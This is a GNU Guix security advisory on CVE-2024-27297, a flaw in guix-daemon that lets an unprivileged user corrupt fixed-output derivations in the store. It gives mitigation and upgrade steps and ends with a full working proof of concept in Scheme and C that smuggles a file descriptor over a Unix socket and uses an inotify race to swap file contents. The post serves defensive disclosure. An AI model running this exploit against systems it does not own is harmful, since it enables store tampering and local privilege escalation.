A security issue has been identified inguix-daemonwhich allows for fixed-outputderivations,such as source code tarballs or Git checkouts, to be corrupted by anunprivileged user. This could also lead to local privilege escalation.This was originally reported to Nix but also affects Guix as we sharesome underlying code from an older version of Nix for theguix-daemon. Readers only interested in making sure their Guix is upto date and no longer affected by this vulnerability can skip down tothe "Upgrading" section.
VulnerabilityThe basic idea of the attack is to pass file descriptors through Unixsockets to allow another process to modify the derivation contents.This was first reported to Nix by jade and puckipedia with furtherdetails and a proof of concepthere. Note that the proofof concept is written for Nix and has been adapted for GNU Guix below.This security advisory is registered asCVE-2024-27297(details are also available at Nix's GitHub securityadvisory)and rated "moderate" in severity.
A fixed-outputderivationis one where the output hash is known in advance. For instance, toproduce a source tarball. The GNU Guix build sandbox purposefullyexcludes network access (for security and to ensure we can control andreproduce the build environment), but a fixed-output derivation doeshave network access, for instance to download that source tarball.However, as stated, the hash of output must be known in advance, againfor security (we know if the file contents would change) andreproducibility (should always have the same output). Theguix-daemon handles the build process and writing the output to thestore, as a privileged process.
In the build sandbox for a fixed-output derivation, a file descriptorto its contents could be shared with another process via a Unixsocket. This other process, outside of the build sandbox, can thenmodify the contents written to the store, changing them to somethingmalicious or otherwise corrupting the output. While the output hashhas already been determined, these changes would mean a fixed-outputderivation could have contents written to the store which do not matchthe expected hash. This could then be used by the user or otherpackages as well.
MitigationThis security issue (tracked herefor GNU Guix) has been fixed bytwocommitsby Ludovic Courtès. Users should make sure they have updated to thissecondcommitto be protected from this vulnerability. Upgrade instructions are inthe following section.
While several possible mitigation strategies were detailed in theoriginal report, the simplest fix is just copy the derivation outputsomewhere else, deleting the original, before writing to the store.Any file descriptors will no longer point to the contents which getwritten to the store, so only the guix-daemon should be able towrite to the store, as designed. This is what the Nix project used intheir ownfix.This does add an additional copy/delete for each file, which may add aperformance penalty for derivations with many files.
A proof of concept by Ludovic, adapted from the one in the originalNix report, is available at the end of this post. One can run thiscode with
guix build -f fixed-output-derivation-corruption.scm -M4
This will output whether the current guix-daemon being used isvulnerable or not. If it is vulnerable, the output will include a line similar to
We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!
The corrupted file can be removed with
guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*
In general, corrupt files from the store can be found with
guix gc --verify=contents
which will also include any files corrupted by through thisvulnerability. Do note that this command can take a long time tocomplete as it checks every file under /gnu/store, which likely hasmany files.
UpgradingDue to the severity of this security advisory, we strongly recommendall users to upgrade their guix-daemon immediately.
For a Guix System the procedure is just reconfiguring the system aftera guix pull, either restarting guix-daemon or rebooting. Forexample,
guix pullsudo guix system reconfigure /run/current-system/configuration.scmsudo herd restart guix-daemon
where /run/current-system/configuration.scm is the current systemconfiguration but could, of course, be replaced by a systemconfiguration file of a user's choice.
For Guix running as a package manager on other distributions, oneneeds to guix pull with sudo, as the guix-daemon runs as root,and restart the guix-daemon service. For example, on a system usingsystemd to manage services,
sudo --login guix pullsudo systemctl restart guix-daemon.service
Note that for users with their distro's package of Guix (as opposed tohaving used the installscript)you may need to take other steps or upgrade the Guix package as perother packages on your distro. Please consult the relevantdocumentation from your distro or contact the package maintainer foradditional information or questions.
ConclusionOne of the key features and design principles of GNU Guix is to allowunprivileged package management through a secure and reproduciblebuildenvironment.While every effort is made to protect the user and system from anymalicious actors, it is always possible that there are flaws yet to bediscovered, as has happened here. In this case, using the ingredientsof how file descriptors and Unix sockets work even in the isolatedbuild environment allowed for a security vulnerability with moderateimpact.
Our thanks to jade and puckipedia for the original report, and Picnoirfor bringing this to the attention of the GNU Guix securityteam. And a special thanks toLudovic Courtès for a prompt fix and proof of concept.
Note that there are current efforts to rewrite the guix-daemon inGuile by Christopher Baines. For more information and the latest newson this front, please refer to the recent blogpost andthismessageon the guix-develmailing list.
Proof of ConceptBelow is code to check if a guix-daemon is vulnerable to thisexploit. Save this file as fixed-output-derivation-corruption.scmand run following the instructions above, in "Mitigation." Somefurther details and example output can be found on issue#69728
;; Checking for CVE-2024-27297.;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.(use-modules (guix) (guix modules) (guix profiles) (gnu packages) (gnu packages gnupg) (gcrypt hash) ((rnrs bytevectors) #:select (string->utf8)))(define (compiled-c-code name source) (define build-profile (profile (content (specifications->manifest '("gcc-toolchain"))))) (define build (with-extensions (list guile-gcrypt) (with-imported-modules (source-module-closure '((guix build utils) (guix profiles))) #~(begin (use-modules (guix build utils) (guix profiles)) (load-profile #+build-profile) (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output))))) (computed-file name build))(define sender-source (plain-file "sender.c" " #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> int main(int argc, char **argv) { setvbuf(stdout, NULL, _IOLBF, 0); int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Set up an abstract domain socket path to connect to. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); // Now try to connect, To ensure we work no matter what order we are // executed in, just busyloop here. int res = -1; while (res < 0) { printf(\"attempting connection...\\n\"); res = connect(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0 && errno != ECONNREFUSED) perror(\"connect\"); if (errno != ECONNREFUSED) break; usleep(500000); } // Write our message header. struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Write an SCM_RIGHTS message containing the output path. struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); hdr->cmsg_len = CMSG_LEN(sizeof(int)); hdr->cmsg_level = SOL_SOCKET; hdr->cmsg_type = SCM_RIGHTS; int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640); memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); msg.msg_controllen = CMSG_SPACE(sizeof(int)); // Write a single null byte too. msg.msg_iov = malloc(sizeof(struct iovec)); msg.msg_iov[0].iov_base = \"\"; msg.msg_iov[0].iov_len = 1; msg.msg_iovlen = 1; // Send it to the othher side of this connection. res = sendmsg(sock, &msg, 0); if (res < 0) perror(\"sendmsg\"); int buf; // Wait for the server to close the socket, implying that it has // received the commmand. recv(sock, (void *)&buf, sizeof(int), 0); }"))(define receiver-source (mixed-text-file "receiver.c" " #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <sys/inotify.h> int main(int argc, char **argv) { int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Bind to the socket. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); int res = bind(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0) perror(\"bind\"); res = listen(sock, 1); if (res < 0) perror(\"listen\"); while (1) { setvbuf(stdout, NULL, _IOLBF, 0); printf(\"accepting connections...\\n\"); int a = accept(sock, 0, 0); if (a < 0) perror(\"accept\"); struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Receive the file descriptor as sent by the smuggler. recvmsg(a, &msg, 0); struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); while (hdr) { if (hdr->cmsg_level == SOL_SOCKET && hdr->cmsg_type == SCM_RIGHTS) { int res; // Grab the copy of the file descriptor. memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int)); printf(\"preparing our hand...\\n\"); ftruncate(res, 0); // Write the expected contents to the file, tricking Nix // into accepting it as matching the fixed-output hash. write(res, \"hello, world\\n\", strlen(\"hello, world\\n\")); // But wait, the file is bigger than this! What could // this code hide? // First, we do a bit of a hack to get a path for the // file descriptor we received. This is necessary because // that file doesn't exist in our mount namespace! char buf[128]; sprintf(buf, \"/proc/self/fd/%d\", res); // Hook up an inotify on that file, so whenever Nix // closes the file, we get notified. int inot = inotify_init(); inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE); // Notify the smuggler that we've set everything up for // the magic trick we're about to do. close(a); // So, before we continue with this code, a trip into Nix // reveals a small flaw in fixed-output derivations. When // storing their output, Nix has to hash them twice. Once // to verify they match the \"flat\" hash of the derivation // and once more after packing the file into the NAR that // gets sent to a binary cache for others to consume. And // there's a very slight window inbetween, where we could // just swap the contents of our file. But the first hash // is still noted down, and Nix will refuse to import our // NAR file. To trick it, we need to write a reference to // a store path that the source code for the smuggler drv // references, to ensure it gets picked up. Continuing... // Wait for the next inotify event to drop: read(inot, buf, 128); // first read + CA check has just been done, Nix is about // to chown the file to root. afterwards, refscanning // happens... // Empty the file, seek to start. ftruncate(res, 0); lseek(res, 0, SEEK_SET); // We swap out the contents! static const char content[] = \"This file has been corrupted!\\n\"; write(res, content, strlen (content)); close(res); printf(\"swaptrick finished, now to wait..\\n\"); return 0; } hdr = CMSG_NXTHDR(&msg, hdr); } close(a); } }"))(define nonce (string-append "-" (number->string (car (gettimeofday)) 16) "-" (number->string (getpid))))(define original-text "This is the original text, before corruption.")(define derivation-that-exfiltrates-fd (computed-file (string-append "derivation-that-exfiltrates-fd" nonce) (with-imported-modules '((guix build utils)) #~(begin (use-modules (guix build utils)) (invoke #+(compiled-c-code "sender" sender-source)) (call-with-output-file #$output (lambda (port) (display #$original-text port))))) #:options `(#:hash-algo sha256 #:hash ,(sha256 (string->utf8 original-text)))))(define derivation-that-grabs-fd (computed-file (string-append "derivation-that-grabs-fd" nonce) #~(begin (open-output-file #$output) ;make sure there's an output (execl #+(compiled-c-code "receiver" receiver-source) "receiver")) #:options `(#:hash-algo sha256 #:hash ,(sha256 #vu8()))))(define check (computed-file "checking-for-vulnerability" #~(begin (use-modules (ice-9 textual-ports)) (mkdir #$output) ;make sure there's an output (format #t "This depends on ~a, which will grab the filedescriptor and corrupt ~a.~%~%" #+derivation-that-grabs-fd #+derivation-that-exfiltrates-fd) (let ((content (call-with-input-file #+derivation-that-exfiltrates-fd get-string-all))) (format #t "Here is what we see in ~a: ~s~%~%" #+derivation-that-exfiltrates-fd content) (if (string=? content #$original-text) (format #t "Failed to corrupt ~a, \your system is safe.~%" #+derivation-that-exfiltrates-fd) (begin (format #t "We managed to corrupt ~a, \meaning that YOUR SYSTEM IS VULNERABLE!~%" #+derivation-that-exfiltrates-fd) (exit 1)))))))check
About GNU GuixGNU Guix is a transactional package managerand an advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating systemdistribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged packagemanagement, per-user profiles, and garbage collection. When used as astandalone GNU/Linux distribution, Guix offers a declarative,stateless approach to operating system configuration management. Guixis highly customizable and hackable throughGuile programming interfaces andextensions to the Scheme language.